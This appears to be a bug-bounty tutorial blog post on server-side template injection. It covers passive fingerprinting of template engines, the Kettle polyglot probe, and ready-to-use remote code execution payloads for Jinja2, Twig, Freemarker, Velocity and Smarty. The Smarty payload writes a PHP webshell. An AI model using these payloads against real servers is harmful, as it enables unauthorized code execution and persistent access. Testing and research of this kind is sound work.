A form field in a Shopify app paid a researcher $10,000. He identified the engine before sending a single special character. The X-Shopify-Stage header and .hbs template extensions confirmed Handlebars before the first probe. That knowledge is not luck: it is recon.
Most SSTI guides start with blind probes. Identifying the engine passively via HTTP headers, error banners, and stack fingerprinting before any payload narrows the search space from dozens of engines to one or two and removes the noise that WAFs and IDS detect. Passive scanning injects no special characters: zero payloads, zero WAF signatures triggered. This guide inverts the standard order.
Prerequisites: Burp Suite (or equivalent proxy) to intercept upgrade requests. Familiarity with HTTP headers and error pages. Basic understanding of template rendering (Jinja2, Twig, or similar).
SSTI is not server-side XSS: it is code execution in the process
XSS runs in the victim's browser with client-side permissions. SSTI runs in the server process with webserver permissions. The impact difference is orders of magnitude, which explains why SSTI CVEs reach CVSS 9.8 while XSS rarely exceeds 6.5.
CVE-2022-21831 is the clearest case: Rails Active Storage allows injection through user-controlled image transformation parameters, CVSS 9.8 Critical. HTML encoding does not prevent the attack because template evaluation happens before HTTP serialization. The payload executes before any output sanitization is applied. Rails >= 5.2.0 was affected; fixes landed in versions 7.0.2.3, 6.1.4.7, 6.0.4.7, and 5.2.6.3.
The engine sandbox (Jinja2, Twig, Freemarker, Velocity, Smarty) is the only control between the payload and direct OS calls. All five have publicly documented bypasses. HackerOne #125980 (Uber, 2016) shows the real scope: Orange Tsai injected a payload into a profile name field rendered by a Flask/Jinja2 template and received execution proof in an email from support@uber.com. An XSS-focused triage would have missed this bug entirely.
Passive fingerprinting: identify the engine before any payload
Three passive channels reveal the engine with high confidence without sending a single special character.
Response headers are the most direct channel. X-Powered-By: Express combined with .njk extensions in the paths indicates Nunjucks. Server: Werkzeug confirms Flask, therefore Jinja2. X-Generator: Drupal on versions before 8.x points to Twig.
$ curl -sI https://alvo.com/perfil/123
HTTP/2 200
server: Werkzeug/2.3.7 Python/3.11.4
x-powered-by: Flask
content-type: text/html; charset=utf-8
That output confirms Flask/Jinja2 before any probe. Unsanitized stack traces in 500 error responses expose the full package path. freemarker.core.TemplateException or org.apache.velocity.exception.VelocityException in a stack trace identifies the Java engine without ambiguity. Forcing a 500 with malformed input and reading the full response body is a step that most automated scanners skip.
Error pages with unrendered template syntax confirm the injection context without sending a payload. When the engine fails to substitute a variable, ${name} or {{user}} appears literally in the HTML. This is diagnostic and requires no special characters in the tester's input.
Passive tech fingerprinting via Wappalyzer, BuiltWith, and Shodan indexes historical framework fingerprints before any interaction with the target. intel.mago.team (MAGO team tool) runs the tech_detector spell, which combines these three passive channels before any active probe (or run Wappalyzer locally + query Shodan: http.title:'X'). Censys.io allows queries by specific header to find public instances of a framework without direct target interaction.
HackerOne #423541 (Shopify, $10,000) illustrates the impact: the researcher identified Handlebars via X-Shopify-Stage before sending any payload to the vulnerable field. Passive fingerprinting directed payload selection from the first submission and cut discovery time in half.
Passive fingerprinting fails when the server uses server_tokens off in nginx, a custom 500 page without a stack trace, or a CDN that strips origin headers. In those cases, the Kettle polyglot probe is the immediate fallback. It is not an alternative to passive fingerprinting; it is the next step when passive channels produce no signal. The goal of passive-first is to reduce the number of probes sent, not to eliminate them.
The Kettle decision tree: from polyglot probe to specific engine
The James Kettle polyglot probe is not a starting point: it is a confirmation filter, used after passive fingerprinting to confirm injectability with the minimum number of payloads and the minimum noise.
James Kettle published the canonical SSTI methodology at PortSwigger Research (2015), the paper that coined the term SSTI and established the decision tree still used today. The polyglot ${{<%['"}}%\` triggers distinct errors in different engines without executing code. The response indicates which syntax family the engine recognizes, not which specific engine within that family.
Discrimination happens with progressive probes. {{7*7}} returning 49 indicates Jinja2, Twig, or Smarty. ${7*7} returning 49 indicates Freemarker, Velocity, or MVEL. The critical discriminator between Jinja2 and Twig:
plaintext
{{7*'7'}}
→ Jinja2: 7777777 (repetição de string Python)
→ Twig: 49 (multiplicação PHP)
That behavioral difference in a single payload eliminates ambiguity that would require multiple blind attempts. For Blind SSTI without reflective output, confirmation comes from response time. A time.sleep(5) in Jinja2 or Thread.sleep(5000) in Java engines creates a measurable delta between request and response. Confirmed execution without output still opens the path to out-of-band exfiltration via DNS or HTTP to a controlled server.
Exploitation chain by engine: from probe to root shell
Passive fingerprinting eliminates 8 out of 10 payloads from the list. With the engine identified, the exploitation chain is straightforward.
Jinja2 (Python): The path to RCE uses Python's MRO (Method Resolution Order) chain to access subclasses that allow command execution. The subclass index varies by Python version and environment.
Step 1 (enumeration):
`python
{{ ''.class.mro[1].subclasses() }}
localizar: subprocess.Popen ou _io.FileIO
`
Step 2 (execution with the correct index):
python
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX](['id'], stdout=-1).communicate() }}
Index 40 was valid in Python 2.7 (the file built-in). In Python 3, enumerate and locate subprocess.Popen.
HackerOne #125980 (Uber) confirmed this vector through a profile name field rendered in a Flask/Jinja2 transactional email.
Twig (PHP): The sandbox bypass uses the _self object that Twig exposes internally to register a filter callback pointing to a native PHP function.
twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{# Twig < 3.0 #}
HackerOne #423541 (Shopify, $10,000) followed this path after identifying the engine via HTTP header.
Freemarker (Java): Direct instantiation of the Execute class provided by Freemarker itself as a template utility.
freemarker
${"freemarker.template.utility.Execute"?new()("id")}
CVE-2025-64087 (CVSS 9.8) in XDocReport used this vector in production.
Velocity (Java): Access via Velocity Tools' ClassTool to obtain the Runtime instance.
velocity
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")
Stack trace fingerprinting on org.apache.velocity.exception.VelocityException identifies this engine before the first active probe.
Smarty (PHP): Direct webshell write using the internal Smarty_Internal_Write_File class.
smarty
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,'<?php passthru($_GET["cmd"]); ?>',self::clearConfig())}
HackerOne #164224 (Unikrn, yaworsk) escalated from template output to PHP webshell write with confirmed read of /etc/passwd.
Three real cases: from text field to root
The pattern in SSTI bounties is consistent: the vulnerable field is not in the main API. It is in a profile field, theme editor, or email template.
HackerOne #125980 (Uber, 2016, Orange Tsai): a profile name field rendered in a Flask/Jinja2 template. The payload {{7*7}} returned 49 in an email from support@uber.com. Interpolation occurred in a transactional email context without sandboxing, and the field had no size limit relevant to the payload.
HackerOne #423541 (Shopify, $10,000): a store management app with a theme field. The X-Shopify-Stage header combined with .hbs extensions in the templates identified Handlebars before the first special character. A single discriminating probe confirmed injectability; escalation to RCE followed the documented chain.
HackerOne #164224 (Unikrn, yaworsk): a profile customization field with Smarty. The exploit used Smarty_Internal_Write_File to write a PHP webshell to $SCRIPT_NAME, accessible directly via HTTP. Reading /etc/passwd confirmed execution in the server context.
HackerOne #1104349 (Glovo): the First Name field in new user registration. A PII field collected during onboarding, later rendered in a template without isolation. All four cases follow the same pattern: registration, profile, theme, and notification endpoints are the most common vectors because the developer does not expect a username to be interpolated in a server-side template.
Passive-first: the checklist before the first payload
Four steps before opening Burp:
HTTP header audit: read all response headers looking for
Server,X-Powered-By,X-Generator, and cookies with framework prefixes (JSESSIONID= Java EE,PHPSESSID= PHP).Error page analysis: force a 500 with malformed input and read the full stack trace. Package path, framework version, and exception class identify the engine without any active probe.
Passive tech fingerprinting: run
tech_detectorvia intel.mago.team (MAGO team tool) to combine Wappalyzer, Shodan, and Censys before any active probe.Secondary endpoint inventory: map fields in profile, theme, email, and preview flows. Bug bounty recon logs confirm that is where SSTI appears most.
With the engine identified, the Kettle probe validates injectability; it does not discover the engine. This order inversion reduces detection, removes WAF noise, and directs you to the correct payload from the first submission.
Top comments (0)